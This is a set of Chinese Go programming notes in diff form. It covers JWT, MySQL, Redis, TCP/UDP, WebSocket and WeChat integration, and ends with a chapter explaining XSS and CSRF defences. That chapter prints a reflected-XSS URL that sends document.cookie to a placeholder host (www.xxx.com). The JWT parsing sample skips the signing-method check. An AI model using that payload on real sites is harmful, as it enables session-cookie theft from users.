func CreateToken(SecretKey []byte, issuer string, Uid uint, isAdmin bool) (tokenString string, err error) {
claims := &jwtCustomClaims{
jwt.StandardClaims{
ExpiresAt: int64(time.Now().Add(time.Hour * 72).Unix()),
Issuer: issuer,
},
Uid,
isAdmin,
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
tokenString, err = token.SignedString(SecretKey)
return
}
// 解析Token
func ParseToken(tokenSrt string, SecretKey []byte) (claims jwt.Claims, err error) {
var token *jwt.Token
token, err = jwt.Parse(tokenSrt, func(*jwt.Token) (interface{}, error) {
return SecretKey, nil
})
claims = token.Claims
return
}
```

View File

@ -0,0 +1,271 @@
## Go数据库接口
Go官方没有提供数据库驱动而是为开发数据库驱动定义了一些标准接口开发者可以根据定义的接口来开发相应的数据库驱动这样做的好处是框架迁移极其方便
Go数据库标准包位于以下两个包中
- database/sql提供了保证SQL或类SQL数据库的泛用接口
- database/sql/driver定义了应被数据库驱动实现的接口这些接口会被sql包使用
关于包的详细使用位于![07-标准库](https://github.com/overnote/over-golang/tree/master/07-标准库)中。
## Go操作MySQL
Go中支持MySQL的驱动目前比较多有如下几种有些是支持database/sql标准而有些是采用了自己的实现接口
推荐使用
- https://github.com/go-sql-driver/mysql Go编写维护频繁支持Gosql接口底层支持keepalive
- https://github.com/jmoiron/sqlx推荐
代码示例
```Go
package main
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
)
func main() {
db, err := sql.Open("mysql", "root:123456@/mydata?charset=utf8")
checkErr(err)
//插入数据
sql1 := "INSERT INTO user SET name=?,age=?"
stmt, err := db.Prepare(sql1)
checkErr(err)
res, err := stmt.Exec("zs", "30",)
checkErr(err)
id, err := res.LastInsertId()
checkErr(err)
fmt.Println("插入id=", id)
//更新数据
sql2 := "UPDATE user SET name=? WHERE id=?";
stmt, err = db.Prepare(sql2)
checkErr(err)
res, err = stmt.Exec("lisi", id)
checkErr(err)
affect, err := res.RowsAffected()
checkErr(err)
fmt.Println("更新行数=", affect)
//查询数据
rows, err := db.Query("SELECT * FROM user")
checkErr(err)
for rows.Next() {
var id int
var name string
var age int
err = rows.Scan(&id, &name, &age)
checkErr(err)
fmt.Println("id=", id)
fmt.Println("name=", name)
fmt.Println("age=", age)
}
//删除数据
// stmt, err = db.Prepare("DELETE FROM user WHERE uid=?")
// checkErr(err)
// res, err = stmt.Exec(id)
// checkErr(err)
// affect, err = res.RowsAffected()
// checkErr(err)
// fmt.Println(affect)
db.Close()
}
func checkErr(err error) {
if err != nil {
panic(err)
}
}
```
相关API
- sql.Open()打开一个注册过的数据库驱动第二个参数格式有
- `user@unix(/path/to/socket)/dbname?charset=utf8`
- `user:password@tcp(localhost:5555)/dbname?charset=utf8`
- `user:password@/dbname`
- `user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname`
- db.Prepare()返回准备要执行的sql操作然后返回准备完毕的执行状态
- db.Query()直接执行Sql返回Rows结果
- stmt.Exec()执行stmt准备好的SQL语句
## Go操作redis
#### 2.1 Go操作Redis
推荐驱动
- https://github.com/go-redis/redis
- https://github.com/gomodule/redigo
基本操作
```go
package main
import (
"fmt"
"github.com/gomodule/redigo/redis"
)
func main() {
c, err := redis.Dial("tcp", "localhost:6379")
if err != nil {
fmt.Println("Redis connect err:", err)
return
}
defer c.Close()
_, err = c.Do("Set", "first", "hello")
if err != nil {
fmt.Println(err)
return
}
r, err := redis.Int(c.Do("Get", "first"))
if err != nil {
fmt.Println(err)
return
}
fmt.Println(r)
}
```
#### 2.2 连接池
```Go
package main
import (
"fmt"
"os"
"os/signal"
"syscall"
"time"
"github.com/gomodule/redigo/redis"
)
var (
Pool *redis.Pool
)
func init() {
redisHost := ":6379"
Pool = newPool(redisHost)
listenForClose()
}
func newPool(server string) *redis.Pool {
return &redis.Pool{
MaxIdle: 3,
IdleTimeout: 240 * time.Second,
Dial: func() (redis.Conn, error) {
c, err := redis.Dial("tcp", server)
if err != nil {
return nil, err
}
return c, err
},
TestOnBorrow: func(c redis.Conn, t time.Time) error {
_, err := c.Do("PING")
return err
},
}
}
func listenForClose() {
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt)
signal.Notify(c, syscall.SIGTERM)
signal.Notify(c, syscall.SIGKILL)
go func() {
<-c
_ = Pool.Close()
os.Exit(0)
}()
}
func Get(key string) ([]byte, error) {
conn := Pool.Get()
defer conn.Close()
var data []byte
data, err := redis.Bytes(conn.Do("GET", key))
if err != nil {
return data, fmt.Errorf("error get key %s: %v", key, err)
}
return data, err
}
func main() {
test, err := Get("test")
fmt.Println(test, err)
ExampleNewClient()
// Output
// [] error get key test: redigo: nil returned
// PONG <nil>
// 4396 <nil>
// key: overnote2 not exist
// 0 redigo: nil returned
}
func ExampleNewClient() {
c, _ := redis.Dial("tcp", "localhost:6379",
redis.DialDatabase(0),
)
pong, err := redis.String(c.Do("ping"))
fmt.Println(pong, err)
// Output: PONG <nil>
key := "overnote"
val := 4396
_, err = c.Do("SET", key, val)
if err != nil {
panic(err)
}
res, err := redis.Int(c.Do("GET", key))
if err == redis.ErrNil {
fmt.Printf("key: %s not exist\n", key)
} else {
if err != nil {
panic(err)
}
}
fmt.Println(res, err)
// 4396 nil
notExistKey := "overnote2"
res, err = redis.Int(c.Do("GET", notExistKey))
if err == redis.ErrNil {
fmt.Printf("key: %s not exist\n", notExistKey)
// key: overnote2 not exist
} else {
if err != nil {
panic(err)
}
}
fmt.Println(res, err)
// 0 redigo: nil returned
}
```
## Go操作MongoDB
MongoDB为Go提供了官方驱动
https://github.com/mongodb/mongo-go-driver

View File

@ -0,0 +1,308 @@
## TCP编程
### 1.1 服务端代码
```go
package main
import (
"fmt"
"net"
)
func main() {
/**
Unix网络编程步骤Server->Bind->Listen->Accept
Go语言简化为了Listen->Accept
*/
// 此处创建了第一个套接字设置了通信协议、IP地址、port
listener, err := net.Listen("tcp", "127.0.0.1:3000")
defer listener.Close() // 套接字也是文件,需要关闭
if err != nil {
fmt.Println("net listen err:", err)
return
}
// 此处创建了第二个套接字用于阻塞监听客户端连接请求。注意listener并未监听accept实现了监听
conn, err := listener.Accept()
defer conn.Close() // 套接字也是文件,需要关闭
if err != nil {
fmt.Println("listener accept err:", err)
return
}
// 读取客户端数据
buf := make([]byte, 4096)
n, err := conn.Read(buf)
if err != nil {
fmt.Println("conn.Read err:", err)
return
}
// 业务逻辑
fmt.Println("Read msg:", string(buf[:n]))
conn.Write([]byte("word"))
}
```
运行服务端后使用命令行工具模拟请求`nc 127.0.0.1 3000`
### 1.2 客户端代码
在1.1只是使用nc命令模拟了客户端下面直接使用Go开发一个TCP客户端
```go
package main
import (
"fmt"
"net"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:3000")
if err != nil {
fmt.Println("Dial err:", err)
return
}
defer conn.Close()
// 主动向服务器发送数据
conn.Write([]byte("hello"))
// 接收服务器返回数据
buf := make([]byte, 4096)
n, err := conn.Read(buf)
if err != nil {
fmt.Println("client read err:", err)
return
}
fmt.Println("client receive", string(buf[:n]))
}
```
客户端运行后即可与TCP服务端进行通信
### 1.3 优化服务端
在1.1服务端接收了一次请求后即关闭了显然不符合现在服务端能够同时接收大量请求的业务要求使用for循环不断创建连接等待带新的请求即可实现多客户端接入具体的业务逻辑则可以交给一个go协程处理这样服务端就可以专门用于循环等待请求创建连接而每个go程则负责具体的业务逻辑
并发服务端
```go
package main
import (
"fmt"
"io"
"net"
)
func main() {
// 创建监听套接字
listener, err := net.Listen("tcp", "127.0.0.1:3000")
defer listener.Close()
if err != nil {
fmt.Println("net listen err:", err)
return
}
// 监听客户端连接请求
for {
conn, err := listener.Accept()
if err != nil {
fmt.Println("listener accept err:", err)
return
}
// 业务逻辑
go handler(conn)
}
}
func handler(conn net.Conn) {
if conn == nil {
panic("conn is nil")
}
defer conn.Close()
// 循环读取客户端数据
buf := make([]byte, 4096)
for {
n, err := conn.Read(buf)
if err == io.EOF { // 此时n=0
fmt.Println("read EOF")
break
}
if err != nil {
fmt.Println("conn.Read err:", err)
break
}
fmt.Println("Server receive msg:", string(buf[:n]))
conn.Write([]byte("word"))
}
}
```
## 理解Golang TCP编程
### 2.1 IPv4与IPv6
目前的全球因特网所采用的协议族是TCP/IP协议IP是TCP/IP协议中网络层的协议是TCP/IP协议族的核心协议目前主要采用的IP协议的版本号是4(简称为IPv4)
IPv4的地址位数为32位也就是最多有2的32次方的网络设备可以联到Internet上近十年来由于互联网的蓬勃发展IP位址的需求量愈来愈大使得IP位址的发放愈趋紧张前一段时间据报道IPV4的地址已经发放完毕
IPv4地址格式类似这样`127.0.0.1` `171.121.121.111`
IPv6是下一版本的互联网协议也可以说是下一代互联网的协议它是为了解决IPv4在实施过程中遇到的各种问题而被提出的IPv6采用128位地址长度几乎可以不受限制地提供地址按保守方法估算IPv6实际可分配的地址整个地球的每平方米面积上仍可分配1000多个地址在IPv6的设计过程中除了一劳永逸地解决了地址短缺问题以外还考虑了在IPv4中解决不好的其它问题主要有端到端IP连接服务质量QoS安全性多播移动性即插即用等
地址格式类似这样2008:c0e8:82e7:0:0:0:c7e8:82e7
Go中提供了`ParseIP(s string) IP`函数会把一个IPv4或者IPv6的地址转化成IP类型
大部分底层网络编程都依赖于Socket编程包括HTTPIM通信视频流传输游戏服务器等因为对于HTTP协议来说直接使用Socket编程能够节省性能开支
Socket起源于UNIX本着UNIX一切皆文件的哲学可以用`打开-读写-关闭`的方式操作网络的Socket数据传输是一种特殊的I/OSocket也是一种文件描述符Socket也具有一个类似于打开文件的函数调用`Socket()`该函数返回一个整型的Socket描述符随后的连接建立数据传输等操作都是通过该Socket实现的
网络之间的进程如果要通信需要先对socket进行唯一标识在本地网络之间通信可以通过`PID`来标识唯一但是到了网络中进程通过网络层的`IP`传输层的`协议+端口`来标识三元组ip地址协议端口可以标识网络的唯一进程
Web开发中Socket编程主要面向OSI模型的第三层和第四层协议IP协议TCP协议UDP协议常见的分类有
- 流式SocketSOCK_STREAM面向连接主要用于TCP服务
- 数据式SocketSOCK_DGRAM无连接主要用于UDP服务
## UDP
Go语言包中处理UDP Socket和TCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数其他基本几乎一模一样只有TCP换成了UDP而已UDP的几个主要函数如下所示
```Go
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error)
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)
```
一个UDP的客户端代码如下所示,我们可以看到不同的就是TCP换成了UDP而已
```Go
func main() {
if len(os.Args) != 2 {
fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
os.Exit(1)
}
service := os.Args[1]
udpAddr, err := net.ResolveUDPAddr("udp4", service)
checkError(err)
conn, err := net.DialUDP("udp", nil, udpAddr)
checkError(err)
_, err = conn.Write([]byte("anything"))
checkError(err)
var buf [512]byte
n, err := conn.Read(buf[0:])
checkError(err)
fmt.Println(string(buf[0:n]))
os.Exit(0)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error())
os.Exit(1)
}
}
```
我们来看一下UDP服务器端如何来处理
```Go
func main() {
service := ":1200"
udpAddr, err := net.ResolveUDPAddr("udp4", service)
checkError(err)
conn, err := net.ListenUDP("udp", udpAddr)
checkError(err)
for {
handleClient(conn)
}
}
func handleClient(conn *net.UDPConn) {
var buf [512]byte
_, addr, err := conn.ReadFromUDP(buf[0:])
if err != nil {
return
}
daytime := time.Now().String()
conn.WriteToUDP([]byte(daytime), addr)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error())
os.Exit(1)
}
}
```
#### 1.3 Go的TCP响应解释
Go语言通过net包中的DialTCP函数来建立一个TCP连接并返回一个TCPConn类型的对象当连接建立时服务器也创建一个同类型的对象此时客户端和服务端通过各自拥有的TCPConn对象进行数据交换只有当任意一端关闭连接才会失效
`TCPConn`类型拥有的函数有
```go
func (c *TCPConn) Write(b []byte) (int, error)
func (c *TCPConn) Read(b []byte) (int, error)
```
`TCPAddr`类型表示一个TCP的地址信息:
```go
type TCPAddr struct {
IP IP
Port int
Zone string // IPv6 scoped addressing zone
}
```
在Go语言中通过`ResolveTCPAddr`获取一个`TCPAddr`
```Go
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
// net参数是"tcp4"、"tcp6"、"tcp"中的任意一个分别表示TCP(IPv4-only), TCP(IPv6-only)或者TCP(IPv4, IPv6的任意一个)。
// addr表示域名或者IP地址例如"www.google.com:80" 或者"127.0.0.1:22"。
```
Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接并返回一个`TCPConn`类型的对象当连接建立时服务器端也创建一个同类型的对象此时客户端和服务器端通过各自拥有的`TCPConn`对象来进行数据交换一般而言客户端通过`TCPConn`对象将请求信息发送到服务器端读取服务器端响应的信息服务器端读取并解析来自客户端的请求并返回应答信息这个连接只有当任一端关闭了连接之后才失效不然这连接可以一直在使用建立连接的函数定义如下
```Go
func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error)
// network参数是"tcp4"、"tcp6"、"tcp"中的任意一个分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个)
// laddr表示本机地址一般设置为nil
// raddr表示远程的服务地址
```
TCP有很多连接控制函数我们平常用到比较多的有如下几个函数
```Go
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
```
设置建立连接的超时时间客户端和服务器端都适用当超过设置时间时连接自动关闭
```Go
func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error
```
用来设置写入/读取一个连接的超时时间当超过设置时间时连接自动关闭
```Go
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error
```
设置keepAlive属性是操作系统层在tcp上没有数据和ACK的时候会间隔性的发送keepalive包操作系统可以通过该包来判断一个tcp连接是否已经断开在windows上默认2个小时没有收到数据和keepalive包的时候人为tcp连接已经断开这个功能和我们通常在应用层加的心跳包的功能类似

View File

@ -0,0 +1,138 @@
## websocket概述
WebSocket是HTML5的重要特性它实现了基于浏览器的远程socket它使浏览器和服务器可以进行全双工通信许多浏览器FirefoxGoogle Chrome和Safari都已对此做了支持
在WebSocket出现之前为了实现即时通信采用的技术都是轮询即在特定的时间间隔内由浏览器对服务器发出HTTP Request服务器在收到请求后返回最新的数据给浏览器刷新轮询使得浏览器需要对服务器不断发出请求这样会占用大量带宽
WebSocket采用了一些特殊的报头使得浏览器和服务器只需要做一个握手的动作就可以在浏览器和服务器之间建立一条连接通道且此连接会保持在活动状态你可以使用JavaScript来向连接写入或从中接收数据就像在使用一个常规的TCP Socket一样它解决了Web实时化的问题相比传统HTTP有如下好处
- 一个Web客户端只建立一个TCP连接
- Websocket服务端可以推送(push)数据到web客户端.
- 有更加轻量级的头减少数据传送量
WebSocket URL的起始输入是ws://或是wss://在SSL上。下图展示了WebSocket的通信过程一个带有特定报头的HTTP握手被发送到了服务器端接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口socket这一套接口可被用来通过事件句柄异步地接收数据。
## WebSocket原理
WebSocket的协议颇为简单在第一次handshake通过以后连接便建立成功其后的通讯数据都是以\x00开头\xFF结尾在客户端这个是透明的WebSocket组件会自动将原始数据掐头去尾
浏览器发出WebSocket连接请求然后服务器发出回应然后连接建立成功这个过程通常称为握手 (handshaking)
在请求中的"Sec-WebSocket-Key"是随机的对于整天跟编码打交道的程序员一眼就可以看出来这个是一个经过base64编码后的数据服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串生成一个这样的字符串
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
对该字符串先用 sha1安全散列算法计算出二进制的值然后用base64对其进行编码即可以得到握手后的字符串
rE91AJhfC+6JdVcVXOGJEADEJdQ=
将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端
## Go实现WebSocket
Go语言标准包里面没有提供对WebSocket的支持但是在由官方维护的go.net子包中有对这个的支持你可以通过如下的命令获取该包
go get golang.org/x/net/websocket
WebSocket分为客户端和服务端接下来我们将实现一个简单的例子:用户输入信息客户端通过WebSocket将信息发送给服务器端服务器端收到信息之后主动Push信息到客户端然后客户端将输出其收到的信息客户端的代码如下
```html
<html>
<head></head>
<body>
<script type="text/javascript">
var sock = null;
var wsuri = "ws://127.0.0.1:1234";
window.onload = function() {
console.log("onload");
sock = new WebSocket(wsuri);
sock.onopen = function() {
console.log("connected to " + wsuri);
}
sock.onclose = function(e) {
console.log("connection closed (" + e.code + ")");
}
sock.onmessage = function(e) {
console.log("message received: " + e.data);
}
};
function send() {
var msg = document.getElementById('message').value;
sock.send(msg);
};
</script>
<h1>WebSocket Echo Test</h1>
<form>
<p>
Message: <input id="message" type="text" value="Hello, world!">
</p>
</form>
<button onclick="send();">Send Message</button>
</body>
</html>
```
可以看到客户端JS很容易的就通过WebSocket函数建立了一个与服务器的连接sock当握手成功后会触发WebScoket对象的onopen事件告诉客户端连接已经成功建立客户端一共绑定了四个事件
- 1onopen 建立连接后触发
- 2onmessage 收到消息后触发
- 3onerror 发生错误时触发
- 4onclose 关闭连接时触发
我们服务器端的实现如下
```Go
package main
import (
"golang.org/x/net/websocket"
"fmt"
"log"
"net/http"
)
func Echo(ws *websocket.Conn) {
var err error
for {
var reply string
if err = websocket.Message.Receive(ws, &reply); err != nil {
fmt.Println("Can't receive")
break
}
fmt.Println("Received back from client: " + reply)
msg := "Received: " + reply
fmt.Println("Sending to client: " + msg)
if err = websocket.Message.Send(ws, msg); err != nil {
fmt.Println("Can't send")
break
}
}
}
func main() {
http.Handle("/", websocket.Handler(Echo))
if err := http.ListenAndServe(":1234", nil); err != nil {
log.Fatal("ListenAndServe:", err)
}
}
```
当客户端将用户输入的信息Send之后服务器端通过Receive接收到了相应信息然后通过Send发送了应答信息

View File

@ -0,0 +1,142 @@
## 微信公众号开发概念
#### 1.1 公众号的分类
微信公众号分为四类
- 订阅号每天能推送消息允许个人申请适合资讯服务如各种媒体
- 服务号每月4次推送适合企业数据服务交互如招商银行公众号
- 企业号现在叫做企业微信企业内部办公管理使用可以理解为叮叮
- 小程序小程序功能更多相当于简易版的app,比常规app开发简单
#### 1.2 微信公众平台
微信公众平台地址管理微信公众号相关的后台http://mp.weixin.qq.com
微信公众平台分为两种管理模式
- 编辑模式进入公众平台后左侧默认提供的管理功能已经提供了大多数功能
- 开发模式进入开发模式后公众号编辑模式下的功能全部作废需要开发人员手动开发相应功能能够让公众号拥有更强大的功能
微信开发平台在开发平台可以查看各类文档与工具地址是https://developers.weixin.qq.com/miniprogram/dev/api/
#### 1.3 微信与服务器交互过程
当我们在微信app上给公众号发送一条内容的时候实际会发送到微信的服务器上此时微信的服务器就会对内容进行封装成某种格式的数据比如xml格式再转发到我们配置好的URL上所以该URL实际就是我们处理数据的一个请求路径该URL必须是能暴露给外界访问的一个公网地址不能使用内网地址生产环境可以申请腾讯云阿里云服务器等但是在开发环境中可以暂时利用一些软件来完成内网穿透便于修改和测试如ngorkhttps://dashboard.ngrok.com
![](../images/go/wx-01.png)
在开发的过程中我们会经常使用到微信公众号提供给开发者的开发文档https://mp.weixin.qq.com/wiki
#### 1.4 URL接入验证原理
![](../images/go/wx-02.png)
由以上介绍可知当我们填入url与token的值并提交后微信会发送一个get请求到我们填写的url上并且携带4个参数而signature参数结合了开发者填写的token参数和请求中的timestamp参数nonce参数来做的加密签名我们在后台需要对该签名进行校验看是否合法实际上我们发现微信带过来的4个参数中并没有带token参数仅有signature是和token有关的所以我们应该在本地应用中也准备一个和填入的token相同的参数再通过微信传入的timestamp与nonce做相同算法的加密操作若结果与微信传入的signature相同即为合法则原样返回echostr参数代表接入成功否则不做处理则接入失败
![](../images/go/wx-03.png)
#### 1.5 成为微信开发者
在微信公众后台https://mp.weixin.qq.com左侧菜单最下方可以申请称为开发者
或者直接使用微信测试号http://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login
配置中的IP白名单只有配置了白名单的IP才能调取微信接口相当于增强了安全性防止因为开发者ID和密码被盗后被盗取者调用接口
服务器配置微信开发必须使用外网地址所以需要配置自己的服务器地址
当然也可以使用ngork配置内网穿透地址百度即可
## 小程序会话
- 0-1 用户点击`<button open-type="getUserInfo" bindGetUserInfo="getUserInfo">授权登陆</button>`弹出授权页面
- 0-2 小程序端通过`wx.getSetting()`检查是否授权如果已授权则可以直接调用`wx.getUserInfo()`获取信息
- 1 如果未授权用户点击同意授权后小程序端通过`wx.login()` 请求微信服务器获取`code`
- 2 小程序端通过`wx.request()``code`发送给业务服务端业务服务端通过`code`,`appid`,`appsecret`三者请求微信服务器拿到`openid`,`session_key`如果数据库中没有这个openid就算注册有些项目需要用户填写昵称如果有则准备制作session
- 3 服务端将`session_key`通过自己的加密方式生成新签名这里命名为`session_rd`并通过redis等缓存系统进行缓存设置缓存时间key为session_rd,value为openid
- 4 缓存后服务端将加密后生成`session_rd`返回给小程序端出于安全考虑不能将原始的session_key给小程序
- 5 小程序端通过`wx.setStorageSync() ``session_rd`存储到本地的storage并可以通过`wx.getUserInfo`获取用户敏感数据后续用户重新进入小程序调用wx.checksession()检测登录状态如果失效重新发起登录流程
- 6 小程序与业务服务端接口通信小程序从storage读取`session_rd`发送给业务服务端服务端根据`session_rd`判断是哪个用户
注意事项一般session在半小时内就过期了为了防止用户长期使用小程序突然断开需要小程序端内部做一个循环每隔二十分钟请求一次业务服务器获取新的`session_rd`,而且该循环函数应该在每次小程序打开时候就要启动所以需要添加到app.js的生命周期函数中
参考地址https://mp.weixin.qq.com/wiki?t=resource/res_main&id=mp1421140842
session_key的作用
wx.getUserInfo()在请求微信服务器时设置withCredentials为true会检查是否登录如果此前已经吊用过wx.login且登录状态尚未过期那么返回的数据会包含encryptedData,iv等敏感信息由于客户端不知道encryptedData的内容会将该数据发送给业务服务端业务服务端通过session_key可以对其进行解密解密后会是一个用户敏感信息的json结构数据
示例使用session_key获取用户手机
前端代码
```js
Page({
getPhoneNumber: function(e) {
console.log(e.detail.errMsg)
console.log(e.detail.iv)
console.log(e.detail.encryptedData)
}
})
```
服务端解密结果
```js
{
"phoneNumber": "13345678900"
}
```
## Go开发微信
```go
package main
import (
"crypto/sha1"
"fmt"
"io"
"log"
"net/http"
"sort"
"strings"
)
const (
token = "test"
)
func makeSignature(timestamp, nonce string) string { //本地计算signature
si := []string{token, timestamp, nonce}
sort.Strings(si) //字典序排序
str := strings.Join(si, "") //组合字符串
s := sha1.New() //返回一个新的使用SHA1校验的hash.Hash接口
io.WriteString(s, str) //WriteString函数将字符串数组str中的内容写入到s中
return fmt.Sprintf("%x", s.Sum(nil))
}
func validateUrl(w http.ResponseWriter, r *http.Request) bool {
timestamp := strings.Join(r.Form["timestamp"], "")
nonce := strings.Join(r.Form["nonce"], "")
signature := strings.Join(r.Form["signature"], "")
echostr := strings.Join(r.Form["echostr"], "")
signatureGen := makeSignature(timestamp, nonce)
if signatureGen != signature {
return false
}
fmt.Fprintf(w, echostr) //原样返回eechostr给微信服务器
return true
}
func procSignature(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
if !validateUrl(w, r) {
log.Println("Wechat Service: This http request is not from wechat platform")
return
}
log.Println("validateUrl Ok")
}
func main() {
http.HandleFunc("/", procSignature)
http.ListenAndServe(":80", nil)
}
```

View File

@ -0,0 +1,328 @@
# 跨站脚本攻击XSS
#### 1.1 XSS简介
动态站点很容易受到跨站脚本攻击Cross Site Scripting, 安全专家们通常将其缩写成 XSS它允许攻击者将恶意代码植入到提供给其它用户使用的页面中XSS涉及到三方即攻击者客户端与Web应用XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息
XSS通常可以分为两大类
- 存储型XSS主要出现在让用户输入数据供其他浏览此页的用户进行查看的地方包括留言评论等
- 反射型XSS主要做法是将脚本代码加入URL地址的请求参数里请求参数进入程序后在页面直接输出用户点击类似的恶意链接就可能受到攻击
XSS目前主要的手段和目的如下
- 盗用cookie获取敏感信息
- 利用植入Flash通过crossdomain权限设置进一步获取更高权限或者利用Java等得到类似的操作
- 利用iframeframeXMLHttpRequest或上述Flash等方式被攻击者用户的身份执行一些管理动作或执行一些如:发微博加好友发私信等常规操作前段时间新浪微博就遭遇过一次XSS
- 利用可被攻击的域受到其他域信任的特点以受信任来源的身份请求一些平时不允许的操作如进行不当的投票活动
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站实现DDoS攻击的效果
#### 1.2 XSS攻击示例
```
# 一个常见的get请求
http://localhost:3000/?name=ruyue
hello ruyue
# 在URL中插入js代码
http://localhost:3000?name=&#60;script&#62;alert(&#39;ruyue,xss&#39;)&#60;/script&#62;
此时浏览器会出现弹窗
# 盗取cookie
http://localhost:3000/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;
```
这样就可以把当前的cookie发送到指定的站点`www.xxx.com`尤其现在流行短网址用户是无法识别的
#### 1.3 XSS的预防
目前防御XSS主要有如下几种方式推荐结合使用
- 过滤特殊字符即不相信任何用户的输入对用户输入内容进行过滤Go的html/template里面带有下面几个函数可以用于过滤
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
- 使用HTTP头指定类型
- `w.Header().Set("Content-Type","text/javascript")`这样就可以让浏览器解析javascript代码而不会是html输出
示例
```Go
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
```
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示
Go的html/template包默认帮你过滤了html标签但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息该怎么处理请使用text/template请看下面的例子
```Go
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
```
输出
Hello, <script>alert('you have been pwned')</script>!
或者使用template.HTML类型
```Go
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
```
输出
Hello, <script>alert('you have been pwned')</script>!
转换成`template.HTML`变量的内容也不会被转义
转义的例子
```Go
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
```
转义之后的输出
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
## 预防CSRF攻击
#### 2.1 CSRF简介
CSRFCross-site request forgery中文名称跨站请求伪造也被称为one click attack/session riding缩写为CSRF/XSRF
那么CSRF到底能够干嘛呢你可以这样简单的理解攻击者可以盗用你的登陆信息以你的身份模拟发送各种请求攻击者只要借助少许的社会工程学的诡计例如通过QQ等聊天软件发送的链接(有些还伪装成短域名用户无法分辨)攻击者就能迫使Web应用的用户去执行攻击者预设的操作例如当用户登录网络银行去查看其存款余额在他没有退出时就点击了一个QQ好友发来的链接那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中
所以遇到CSRF攻击时将对终端用户的数据和操作指令构成严重的威胁当受攻击的终端用户具有管理员帐户的时候CSRF攻击将危及整个Web应用程序
#### 2.2 CSRF的原理
下图简单阐述了CSRF攻击的思想
![](images/9.1.csrf.png?raw=true)
图9.1 CSRF的攻击过程
从上图可以看出要完成一次CSRF攻击受害者必须依次完成两个步骤
- 1.登录受信任网站A并在本地生成Cookie
- 2.在不退出A的情况下访问危险网站B
看到这里读者也许会问如果我不满足以上两个条件中的任意一个就不会受到CSRF的攻击是的确实如此但你不能保证以下情况不会发生
- 你不能保证你登录了一个网站后不再打开一个tab页面并访问另外的网站特别现在浏览器都是支持多tab的
- 你不能保证你关闭浏览器了后你本地的Cookie立刻过期你上次的会话已经结束
- 上图中所谓的攻击网站可能是一个存在其他漏洞的可信任的经常被人访问的网站
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作所以随时可能成为CSRF的受害者
CSRF攻击主要是因为Web的隐式身份验证机制Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器但却无法保证该请求是用户批准发送的
#### 2.3 预防CSRF
过上面的介绍读者是否觉得这种攻击很恐怖意识到恐怖是个好事情这样会促使你接着往下看如何改进和防止类似的漏洞出现
CSRF的防御可以从服务端和客户端两方面着手防御效果是从服务端着手效果比较好现在一般的CSRF防御也都在服务端进行
服务端的预防CSRF攻击的方式方法有多种但思想上都是差不多的主要从以下2个方面入手
- 1正确使用GET,POST和Cookie
- 2在非GET请求中增加伪随机数
我们上一章介绍过REST方式的Web应用一般而言普通的Web应用都是以GETPOST为主还有一种请求是Cookie方式我们一般都是按照如下方式设计应用
1GET常用在查看列举展示等不需要改变资源属性的时候
2POST常用在下达订单改变一个资源的属性或者做其他一些事情
接下来我就以Go语言来举例说明如何限制对资源的访问方法
```Go
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
```
